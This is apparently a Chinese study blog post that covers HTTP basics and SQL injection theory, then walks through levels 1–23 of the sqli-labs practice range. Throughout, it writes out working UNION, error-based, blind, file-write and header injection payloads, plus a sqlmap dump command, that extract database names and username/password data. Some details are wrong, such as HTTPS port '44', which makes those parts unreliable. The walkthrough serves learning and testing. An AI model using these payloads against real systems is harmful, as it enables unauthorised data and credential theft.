sql的学习以及sqli-lab靶场练习

sql的相关学习以及靶场练习

Mysql增删改查

insert
delete
update
select或show

http协议

1.HTTPS 协议是 HyperText Transfer Protocol Secure(超文本传输安全协议)的缩写,是一种通过计算机网络进行安全通信的传输协议。

2.HTTPS 经由 HTTP 进行通信,但利用 SSL/TLS 来加密数据包,HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换资料的隐私与完整性。

3.HTTP 的 URL 是由 http:// 起始与默认使用端口 80,而 HTTPS 的 URL 则是由 https:// 起始与默认使用端口44

HTTP 是无连接:无连接的含义是限制每次连接只处理一个请求,服务器处理完客户的请求,并收到客户的应答后,即断开连接,采用这种方式可以节省传输时间。

HTTP 是媒体独立的:这意味着,只要客户端和服务器知道如何处理的数据内容,任何类型的数据都可以通过HTTP发送,客户端以及服务器指定使用适合的 MIME-type 内容类型。

HTTP 是无状态:HTTP 协议是无状态协议,无状态是指协议对于事务处理没有记忆能力,缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大,另一方面,在服务器不需要先前信息时它的应答就较快。

HTTPS:主要作用是在不安全的网络上创建一个安全信道,并可在使用适当的加密包和服务器证书可被验证且可被信任时,对窃听和中间人攻击提供合理的防护。

HTTPS 的信任基于预先安装在操作系统中的证书颁发机构(CA)

因此,与一个网站之间的 HTTPS 连线仅在这些情况下可被信任:

浏览器正确地实现了 HTTPS 且操作系统中安装了正确且受信任的证书颁发机构;

证书颁发机构仅信任合法的网站;

被访问的网站提供了一个有效的证书,也就是说它是一个由操作系统信任的证书颁发机构签发的(大部分浏览器会对无效的证书发出警告);

该证书正确地验证了被访问的网站(例如,访问 https://www.runoob.com 时收到了签发给 www.runoob.com 而不是其它域名的证书);

此协议的加密层(SSL/TLS)能够有效地提供认证和高强度的加密。


sql的相关学习

参考资料:CSDN博主「未完成的歌~」的原创文章

sqli-labs靶场主要是进行sql注入的练习

1、什么是SQL注入?

SQL注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过构造SQL语句与后台数据库进行交互,达到获取或修改一些敏感数据,或者利用潜在的数据库漏洞进行攻击的目的。

2、SQL注入原理:

SQL注入是发生于 Web 应用与数据库层的安全漏洞,漏洞的本质是代码和数据未分离,通过在用户可控参数中注入SQL语句,若程序未对输入的指令进行合法性判断,注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,达到编写程序时意料之外结果的攻击行为。

SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。

3、注入漏洞分类:

常见的SQL注入类型包括:数字型字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。

1.数字型注入

当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。

假设有URL http://www.xxx.com/test.php?id=3
猜测其语句为 select * from table where id=3
进行如下三步测试可以确定是否是数字型注入

1、加 单引号,URLhttp://www.xxx.com/test.php?id=3'

对应的SQLselect * from table where id=3' 这时SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。

2、加 and 1=1 ,URLhttp://www.xxx.com/test.php?id=3 and 1=1

对应的SQLselect * from table where id=3 and 1=1 语句执行正常,返回数据与原始请求无任何差异。

3、加a nd 1=2,URLhttp://www.xxx.com/test.php?id=3 and 1=2

对应的SQLselect * from table where id=3 and 1=2 语句执行正常,但却无法查询出数据,因为and 1=2始终为假。所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入。

2.字符型注入:

当输入的参数为字符串时,称为字符型。数字型与字符型注入的最大区别在于:数字型不需要单引号来闭合,而字符串类型一般要使用单引号来闭合的

∘ \circ 数字型语句:select * from table where id =3
∘ \circ 字符型语句:select * from table where username ='admin'

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

当查询内容为字符串时 select * from table where username ='admin'
进行如下三步测试可以确定是否是字符型注入

1、加单引号:select * from table where username ='admin'',由于加单引号后变成三个单引号,无法执行,程序会报错。


2、加and 1=1(或者1=2,结果是一样的,可以根据这里判断是数字型还是字符型) 此时SQL语句为:
select * from table where username='admin and 1=1' ,也无法进行注入,因为admin and 1=1会被数据库当作查询的字符串。这时想要进行注入,则必须注意字符串闭合问题。


3、加'and 1=1--+(and 前面的单引号闭合'admin'-- 注释后面的单引号 )就可以继续注入,SQL语句如下:

select * from table where username ='admin' and 1=1--+'

当输入'and 1=2--+ 时,就和上面数字型同理,语句执行正常,但却无法查询出数据。

总结:数字型注入不需要闭合单引号以及注释;字符型注入必须闭合单引号以及注释多余的代码。


Mysql常用注释符:
--:注意,这种注释符后边有一个空格,+会在传递中变成空格。在GET中通常写为--+,在POST中可以直接--空格
#:通过#进行注释,URL编码为%23,在GET中使用%23,在POST 中使用#

3.其他类型

总的来说,SQL注入只分为 “数字型” 与 “字符型”,因为对数据库进行数据查询时,输入数据一般只有两种:一个是数字类型。

但是还有一些习惯的叫法,主要通过注入位置进行分辨

POST注入:注入字段在 POST 数据中

Cookie注入:注入字段在Cookie数据中

延时注入:使用数据库延时特性注入

搜索注入:注入处为搜索的地点

base64注入:注入字符串需要经过base64加密

4.基础知识

1.系统函数

  • version()——Mysql版本
  • user()——数据库用户名
  • database()——数据库名
  • @@datadir——数据库路径
  • @@basedir——获取安装路径
  • @@version_compile_os——操作系统版本

2.字符串连接函数

  1. concat(str1,str2,…) —— 没有分隔符地连接字符串(sqlite不支持concat,用||实现,mysql支持concat)

例:concat('11','22','33') :112233

  1. concat_ws(separator,str1,str2,…) —— 含有分隔符地连接字符串,第一个参数是其它参数的分隔符。
    例: concat_ws(':','11','22','33') :11:22:33

  2. group_concat(str1,str2,…) —— 使多行数据在一行显示,并以逗号分开

例:group_concat( DISTINCT str1 Order BY 排序字段 ASC/DESC  separator '分隔符')
参数:

[DISTINCT]:可选关键字,如果想要一组内的结果没有重复元素,则就带上这个关键字

str1:要连接的字符串

Order BY 排序字段 ASC/DESC:可选关键字,如果组内元素需要排序,则带上它

separator ‘分隔符’:一个组内以什么样的分割符进行连接,默认的情况下是以逗号的形式连接。

3.常见的闭合符号

      $id
	 '$id'
	 "$id"
	 ($id)
	('$id')
	("$id")
   (('$id'))

4.系统数据库

系统数据库information_schema,存储着所有的数据库的相关信息,里面有三张表:

  • information_schema.schemata:包含所有库 库名的表
    常用字段:schema_name 数据库名

  • information_schema.tables:包含所有库 表名的表
    常用字段:table_name 表名;table_schema 数据库名

  • information_schema.columns:包含所有库 表字段的表
    常用字段:column_name 列名;table_schema 数据库名;table_name 表名

一般的,我们利用该表可以进行一次完整的注入,流程如下:
1.猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列

select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’

获取某列的内容

Select *** from ***

sqili-labs靶场练习

1.爆数据库名

-1 union select 1,database()

2.爆表名

-1 union select 1,(select table_name from information_schema.
tables where table_schema='sqli' limit 0,1)

3.爆字段名

-1 union select 1,(select column_name from information_schema.
columns where table_schema='sqli' and table_name='flag' limit 0,1)

4.报字段内容

-1 union select 1,(select flag from sqli.flag limit 0,1)

第一关(单引号封闭的字符型注入)

1.由题可知是判断是要输入id,首先判断是什么类型注入

用and 1=1 and 1=2判断
url地址中输入www.xxxx.com/ccc.php?id=x and 1=1
页面显示正常,继续下一步

url地址中输入www.xxxx.com/ccc.php?id=x and 1=2
页面错误,说明存在数字型注入。
若没有语法错误则是字符串注入
在这里插入图片描述
返回正常的话,说明为字符型注入

2.依次输入or 1=1,and 1=1,and 1=2
前面两个恒为真,数据显示如下
在这里插入图片描述
第三个为假,结果如下
在这里插入图片描述
说明存在注入点

3.猜字段数
使用order by进行判断,有几列信息(字段数)

?id=1' order by 3 --+

从1开始直到4,发现3的时候没异常,但是4的时候报错,说明没有第四个字段即没有第四列
在这里插入图片描述

在这里插入图片描述
4.union select 判断回显
将id改为数据库中不存在的值,使用union select 1,2,3联合查询语句查看页面是否有显示位

?id=-1' union select 1,2,3 --+

在这里插入图片描述
页面回显2,3出现在页面上,所以可以对2,3所在位置加以利用

5.获取当前数据库
判断了回显的位置即可由此得到数据库的信息

union select 1,2,database() --+ 

在这里插入图片描述
得到数据库:security

6.获取数据库中的表

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
得到security的所有表:emails,referers,uagents,users

7.获取列名

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+((不加andtable_name='users’会显示所有表的列名,不利于查找我们想要的列名))
在这里插入图片描述
得到users列名:id,username,password;

8.得到数据

  • 第一种方法
union select 1,username,password from users limit 0,1 --+ 

这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码
在这里插入图片描述
得到数据:Dumb ,Dumb

  • 第二种方法
union select 1,2,group_concat(username,0x3a,password) from users --+

0x是十六进制标志,3a在ASCII码中表示为“:”,用以分隔username和password在这里插入图片描述
第一关结束

第二关(数字型注入)

1.判断是什么类型的输入
输入and1=1在这里插入图片描述

and1=2
在这里插入图片描述
说明此处1=2进行了逻辑判断,此处为数字型注入

2.猜字段数
在这里插入图片描述
输入4时报错,说明字段数为3

3.判断回显位

?id=-1 union select 1,2,3

在这里插入图片描述
4.获取数据库名

?id=-1 union select 1,database(),3

在这里插入图片描述
数据库名为security

5.获取security表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
在这里插入图片描述
表名为emails,referers,uagents,users

6.获取users列名
在这里插入图片描述
7.得到username,passwoed的数据
输入?id=-1 union select 1,group_concat(username,0x3a,password),3 from users
在这里插入图片描述

第三关(括号与单引号封闭的注入)

1.判断是什么类型注入
通过 and 1=1,and 1=2的步骤后,发现既不满足单纯的数字型注入,又不满足单纯的字符型注入,查看php后发现是带括号的字符型注入
在这里插入图片描述
但是不是任何时候都能查看到php,从报错内容可以得出注入点两侧是有单引号的,故猜想此处为特殊形式的字符型注入
在这里插入图片描述
如下是常见的闭合方式

      $id
	 '$id'
	 "$id"
	 ($id)
	('$id')
	("$id")
   (('$id'))

此处猜想是用括号与单引号闭合
?id=1') and 1=1 --+?id=1') and 1=2 --+验证
结果如下
在这里插入图片描述
在这里插入图片描述
证明猜想正确

2.用order by查字段数
在这里插入图片描述
字段数为4时报错,说明字段数为3

3.用union select判断回显位置
在这里插入图片描述
4.用database()查数据库表名
在这里插入图片描述

5.用group_concat(table_name)查表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
在这里插入图片描述
6.用group_concat(column_name)查列名

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
在这里插入图片描述
7.获得数据

  • 第一种union select 1,username,password from users limit n,m --+(n从一往上涨,每个n对应一组数据,m为任意数)
    在这里插入图片描述
  • 第二种

union select 1,2,group_concat(username,0x3a,password) from users --+
在这里插入图片描述

第四关(双引号与括号封闭的字符型注入)

1.判断是什么类型的注入
在这里插入图片描述
通过报错可以判断此时应该是双引号带括号的闭合形式(从php也能看出来)

2.用order by判断字段数
在这里插入图片描述
共三个字段

3.union select判断回显数
在这里插入图片描述
4.用回显位找数据库名
在这里插入图片描述
5.用group_concat(table_name)找表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
在这里插入图片描述
6.用group_concat(column)找列名
在这里插入图片描述

7.limit语句查找数据
在这里插入图片描述

第五关(报错注入)

报错注入详解

参考文献1
参考文献2
报错注入是SQL注入的一种。
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息

1.floor报错注入

关键函数:
Rand() -------产生0~1的伪随机数
Floor() -------向下取整数
Concat() -----连接字符串
Count() ------计算总数

floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。

Payload如下:

Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 
表名 group by x;

报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。

原理分析:
1.使用floor与rand()嵌套,可以产生一组十分重要的数列(011011011…….)无限重复

2.然后,我们来分析一下count()和group by连用的情况

这是user表中数据
在这里插入图片描述

对user表按照id查询每个id出现的总数
在这里插入图片描述
深入剖析一下原理,主要分以下几个步骤:

1.建立虚拟表,其中key是主键,不能重复
在这里插入图片描述

2.开始从原始表中查询数据,取第一条查看虚拟表中是否存在该数据,不存在则插入新数据,存在则count(*)字段直接加1。
在这里插入图片描述

3.重复步骤2,直至原始表中数据被全部取完
在这里插入图片描述

但是,当遇上我们刚刚构造的011011这个神奇的数列的时候,就会出现一个大问题。这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错,当我们使用这个数列的时候会造成主键重复,抛出错误。

主键重复过程:
1.构造虚拟表

2.第一次运算group by后面的floor(rand(0)*2),得到0值,将该值与虚拟表中进行比对,发现没有此值,故做插入处理,但当插入时进行了第二次运算,取1值,并彻底插入虚拟表中,结果如下:
在这里插入图片描述

3.继续,取第二个值1(这时已经是第三次运算后的值了)在虚拟表中比对,发现有值,所以count加1
在这里插入图片描述

4.当取第三个值0(这里因为是第四次运算所以取0)时,并未在虚拟表中找到该值,所以做插入处理,当插入时进行了第五次运算,变成了1进行插入,又因为表中已经存在1的主键,故产生主键重复错误,抛出异常(主键1重复)。

整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。

2.利用updatexml(extractvalue)来xpath报错

引用文章
1.updatexml()函数分析

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串);

第三个参数:new_value,String格式,替换查找到的符合条件的数据;

返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容

说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径

2.extractvalue()函数分析

EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容

说白了这个就是找一个xml并返回内容,xpath就是xml的路径

函数报错原因

可以看到上面两函数里都有xpath路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行
在这里插入图片描述
在这里插入图片描述
都回显了~字符

注入利用

知道了函数报错的原因,我们就可以利用SQL语句里面的字符串联合函数concat、group_concat等,将特殊字符跟SQL语句联合起来,产生报错,并返回SQL语句的执行结果,下面是简单的报错注入利用

select updatexml(1,concat("~",database()),1)

在这里插入图片描述

select extractvalue("a",concat("~",database()))

在这里插入图片描述
而在实战操作中就得用管道符(||或&&)或者是逻辑连接符(or或and)将语句连接,配合使用了,一般来说and和||比较好用
在这里插入图片描述

报错注入的缺陷及解决方法

报错注入好用是好用,但是报错回显的内容一般只有32位长度的字符串,这时候我们就可以用字符串截断函数截断查询的SQL语句,来回显32位后面的内容了,常用的字符串截断函数有letf、right、mid、substr等等,以最常用的mid为例
在这里插入图片描述
进行截断的时候就用mid(sql语句,32,32),mid(sql语句,64,32)
在这里插入图片描述


1.找注入类型
在这里插入图片描述
未报错
判断闭合方式,只有输入’时报错,判断此为单引号闭合的字符型注入

2.判断字段数
在这里插入图片描述
易知字段数为3

3.判断回显位
在这里插入图片描述
无回显位,尝试报错注入

4.爆库名
?id=1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a --+
在这里插入图片描述
5.爆表名

?id=-1' union select count(*),1,concat((select table_name 
from information_schema.tables where table_schema=
"security"limit 3,1),floor(rand()*2)) as a from 
information_schema.tables group by a --+

在这里插入图片描述
6.爆字段名

?id=-1' union select count(*),1,concat((select 
column_name from information_schema.columns where 
table_schema="security" and table_name="users"limit2,1)
,floor(rand()*2)) as a from information_schema.
columns group by a --+

在这里插入图片描述
7.爆数据

用户名
在这里插入图片描述
密码
在这里插入图片描述

第六关(双引号闭合的报错注入)

1.判断注入类型
通过

 ?id=1' and 1=1--+`;`?id=1' and 1=2--+;
?id=1" and 1=1--+; ?id=1" and 1=2--+;

判断为双引号闭合的字符型注入

2.判断回显位

易知无回显位,采用报错注入

3.爆数据库名

/?id=1" union select 1 ,count(*),concat((select database()),floor(rand()*2))
 a from information_schema. tables group by a --+

在这里插入图片描述
4.爆表名

?id=-1" union select count(*),1,concat((select table_name 
from information_schema.tables where table_schema=
"security"limit 3,1),floor(rand()*2)) as a from 
information_schema.tables group by a --+

在这里插入图片描述
5.爆字段名
?id=1’“and (select 1 from (select count(*),concat((select concat(column_name,‘;’) from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

在这里插入图片描述
6.爆数据
?id=1" and(select 1 from (select count(*),concat((select concat(username,‘: ‘,password,’;’) from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)–+

在这里插入图片描述

第七关(单引号与双括号闭合的字符型注入)

1.判断是什么类型注入
通过?id=1')) and 1=2--+?id=1')) and 1=1--+判断,该注入类型为单引号与双引号闭合的字符型注入
2.本题没有报错显示,没有回显位,题目提示使用outfile
在这里插入图片描述

什么是outfile?

在MySQL里面使用select … into outfile可以把数据导出到文本文件上
里面有几个参数
secure_file_priv 用来限制导出效果。他有三个属性:
null限制不能导出
为空可以自定义
为一个路径则只能导出到指定路径
datadir是MySQL数据存储位置,是默认的相对位置。
查询时候加上@@ 如@@secure_file_priv、@@datadir
(39条消息) sqli-labs第七关(详讲)_永远是深夜有多好。的博客-CSDN博客_sqli-labs第七关

参考文章
平时写代码的过程中可能看到过某些语句,比如说:

select [column...] from [table_name] into outfile [path];

这个语句通常是可以用于导出数据信息的,但是也可以被sql注入利用

本关卡提示使用file权限向服务器写入文件,先查看是否有写入权限。

?id=1')) and (select count(*) from mysql.user)>0--+` 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKGiurIP-1678187793401)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230223110833670.png)]返回正常,说明有写入权限。
.利用into outfile 进行演示:

?id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" -- #

第八关(盲注)

原文链接

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
【之前在做联合注入第一关的时候,用union select语句注入,想要查询的信息是回显在Your password和 Your Login name后面,如下图。但是盲注不会回显让你直白的看出信息的(但是可能会有一些间接的回显信息),所以只能通过另外一种方式去获取我们的信息】

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

盲注分为两类:
1、布尔盲注——》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2、时间盲注——》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
需要用到的函数:
Length()函数 返回字符串的长度
Substr()截取字符串Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述

布尔盲注思路分析
不管是什么盲注,思想都是一样的——》爆破思想,也就是一个一个去尝试获得我们想要的数据

“盲”、“爆破思想”

布尔盲注的过程
1、找到注入点以及适合的注入语句(有些可能被过滤)
根据回显的不同来形成布尔盲注的判断条件
2、选择合适的字典,进行爆破(一般会选择26个字母+数字的组合)
可以使用burp suite自带的脚本(intruder),我们只需要提供字典来爆破
也可以自己写一个Python脚本来爆破出结果,利用Python的requests库

易判断为单引号闭合的字符型注入

无回显位,进行布尔盲注

1.爆数据库长度

判断长度,依次网上升,到8时无显示位

?id=1' and length(database())>1 *--+*

故判断数据库名字为8个字符

2.爆数据库名字

?id=1' and ascii(substr((database()),1,1)) > 80 --+

不断修改数值

3.爆表名

判断表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   (结果为4)

判断第一个表的长度

?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+(结果为6)

判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+

在这里插入图片描述

再第一张表中我们只需要修改红字部分进行注入

在这里插入图片描述

4.爆字段
获取字段列数

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

可判断列数为3

获取字段列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

这样下来程序太复杂了,所以尽量选择工具

第九关(单引号闭合的时间盲注)

尝试后发现,无论id正确与否,回显都是一样的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UNyqKUVT-1678187793402)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230223205541377.png)]

?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(2),1)--+

和布尔盲注思路差不多,一直尝试,根据请求的延时判断真假

第十关(双引号闭合的时间盲注)

这里尝试使用下sqlmap

1.构建payload,本关为双引号闭合,通过执行的时间进行判断猜测的对错

http://sqllab/Less-10//index.php?id=1" and if((length(database())=8),sleep(5),1)–+

2.脚本编写

sqlmap -u "http://sqllab/Less-10?id=1“ --technique T -D security -T users -C username,password --dump --threads 10 --batch

  • -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1":指定要测试的目标URL,这里是一个SQL注入漏洞的示例网站;
  • --technique T:指定使用所有可用的SQL注入技术进行测试;
  • -D security:指定要注入的数据库名为"security";
  • -T users:指定要注入的表格名为"users";
  • -C username,password:指定要获取的列名为"username"和"password";
  • --dump:如果成功注入,则尝试从指定的表格中获取数据;
  • --threads 10:指定使用10个线程进行测试;
  • --batch:启用批处理模式,以避免与用户交互。

POST类型sql注入

获取列数

uname=admin' order by 2#&passwd=1

爆破数据

 库

uname=admin' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)#&passwd=1

表

uname=admin' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=1

字段

uname=admin' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1

数据

uname=admin' and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=1
这里的一些问题:
  • 为什么要and 1=2“

因为1=2永远是假的,可以导致第一个查询语句为错误的,从而使得联合查询的语句返回正确的位置

  • 那为什么不能将user中的值改为数据库中不存在的呢?

有些情况下,目标应用程序可能会进行安全检查,以确保查询中的参数值是有效的。如果应用程序发现查询中的参数值不在数据库中,它可能会返回一个错误信息或者拒绝执行该查询。此外,一些数据库管理系统还可能对查询中的参数值进行过滤或者转义,以避免SQL注入攻击。

  • #明明都注释了后面的内容,为什么还要写&passwd=1?

&passwd=1"是作为一个假参数,用于绕过某些安全措施。有些Web应用程序会对没有任何参数的HTTP请求进行过滤,以防止SQL注入攻击等。因此,攻击者可能会添加一个假参数,以使请求看起来更加正常,从而绕过这种过滤措施。

这是第一次进行注入时思考的问题,当时如上修改时都跳转不到正常界面,但是重开了一下网站后,上面的两个问题,在本靶场都是可以使用的,但是还是建议使用原句中语句

第十一关(post类型单引号闭合注入)

使用简单的绕过即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oykjThSr-1678187793402)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230303103212170.png)]

第十二关(post类型双引号与括号闭合注入)

输入双引号引起了报错,通过报错信息可以查看到是双引号加括号的闭合方式

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bXYxfZ0m-1678187793403)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230303112710921.png)]

在这里插入图片描述

第十三关(post类型单引号和括号闭合注入)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKDys2Dp-1678187793404)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230305165707218.png)]

第十四关(post类型双引号闭合注入)

看报错信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wHbjODgt-1678187793405)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230305165854363.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iMFIvn1g-1678187793405)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230305165950884.png)]

第十五关(post类型的布尔盲注)

使用布尔盲注和时间盲注都可以

数据库名长度

admin' and length (database())>1#&passwd=1

数据库名称

 admin' and ascii(substr((database()),1,1)) > 80 #&passwd=1--+

表数量

admin' and (select count(table_name) from information_schema.tables where table_schema=database())>3 # &passwd=1 --+ 

第一个表的长度

admin'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 # &passwd=1 --+

判断表的名称

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 # &passwd=1--+

判断字段列数

admin'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 # &passwd=1 --+

判断字段列名

admin' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 # &passwd=1--+

第十六关(post类型的时间盲注)

和get类型时间盲注相同,格式改为与上一关一样即可,此处不在赘述

第十七关(post类型UPDATE 报错注入)

username字段的过滤比较多,进行passwd的报错注入即可,格式同前几关相同,报错注入语句看get传参时的语句即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WOH9OjMX-1678187793406)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306103547354.png)]

第十八关(POST类型的Uagent字段数据头注入)

  1. 页面显示yourip应该是请求头的参数参入

  2. 同时post传入并未有该参数

  3. 用admin登录成功后发现有User-agents显示

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIKgVz6m-1678187793406)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306154438140.png)]

  4. 无法使用hackbar插件提交了,需要用到burpsuit进行抓包提交

  5. 抓包如下

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cgts1aFH-1678187793407)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306154752499.png)]

  6. 在user-agent头上加单引号报错,确定user-agent注入了

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dFCphZNt-1678187793407)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306155210136.png)]

2.通过单引号闭合进行payload构造

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1

3.构造报错注入的payload

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)’ and (updatexml(1,concat(0x7e,user(),0x7e),1)) and ‘1’ = '1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4RzmPbyE-1678187793408)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306155457101.png)]

第十九关(post类型的Referer字段数据头注入)

Referer注入是一种Web应用程序中的安全漏洞,主要是由于开发人员在处理HTTP Referer头时没有进行正确的输入验证和过滤导致的。攻击者可以通过篡改HTTP Referer头的值来欺骗Web应用程序执行恶意操作,例如将用户重定向到恶意网站、访问未授权的资源等

构建的payload和上关一样

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LUWV2ln7-1678187793408)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306160619281.png)]

第二十关(post类型的Cookie-Uagent字段数据头注入)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HcIa3xsz-1678187793408)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306161426550.png)]

有cookie的回显,进行相关注入

和前两关一样,只是payload的位置不同

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hWW3Xw4T-1678187793408)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306161806728.png)]

第二十一关(post类型的Cookie-Uagent字段base64编码注入)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HNqrDWv3-1678187793408)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306162030220.png)]

将payload进行base64编码即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q78MpfN9-1678187793408)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306162700177.png)]

第二十二关(post类型的Cookie-Uagent字段base64编码注入(双引号闭合))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oEUOVARB-1678187793409)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306163751830.png)]

第二十三关(GET类型的过滤注释)

注入点判断
  1. 老办法单引号反斜杠试了下确实报错
  2. 但注释过不了怀疑注释有过滤
  3. 查看源代码,发现将#和–替换成空了

